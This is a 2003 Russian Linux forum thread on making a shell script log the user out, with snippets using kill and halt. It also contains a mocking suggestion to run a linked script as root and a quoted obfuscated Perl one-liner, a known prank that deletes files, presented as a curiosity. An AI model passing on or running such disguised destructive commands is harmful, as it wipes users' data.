Logout средствами Shell

Автор: Маховец Дата: 18.10.2003 20:48 Можно ли в шелл-скрипте при выполнении определённых условий задать выход пользователя из системы? Если нет, то как это можно сделать?
Re: Logout средствами Shell 18.10.2003 22:07ShaMAN Ну в простейшем варианте где то так.
---
#!/bin/bash
echo "some" $PPID
kill -9 $PPID
---
Re: Logout средствами Shell 18.10.2003 23:00leXa ---
#!/bin/bash

....
if test $LINE = "rm -f /"; then
echo "умри, негодяй!"
halt -p
fi
---
Re: Logout средствами Shell 19.10.2003 01:31Маховец leXa писал(а):

> ---
> #!/bin/bash
>
> ....
> if test $LINE = "rm -f /"; then
> echo "умри, негодяй!"
> halt -p
> fi
> ---
>

bash: test: =: unary operator expected
вот что оно мне говорит(((
Re: Logout средствами Shell 19.10.2003 11:45Vladimir Dyakov Инга, вы ещё отсюда скрипт выполните (желательно от рута): [www.linux.org.ru]
Получите удовольствие на пару дней перестановки линукса Улыбка
Re: Logout средствами Shell 19.10.2003 22:42leXa Ошибка "unary operator expected" вылетает если переменная уже используется но не была предварительно обьявлена.
...пример с длинной бородой, но забавный. Я немного знаком с перлем,
но в этой строке не могу "вычленить" ни одной команды Улыбка)))
Разьясните, разложите на строчки.
Например, так:
---
#выплевываем в стандартный поток три слова test, и передаем
cat "test... test... test..." | perl -e
#по конвейеру интерпретатору Perl, при этом задаем выражение вида:
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
---
Re: Logout средствами Shell 19.10.2003 22:58leXa Мдя, форум по указанному адресу просто полный улет, "веселые" парни, здесь намного скучнее Улыбка
RSS-материал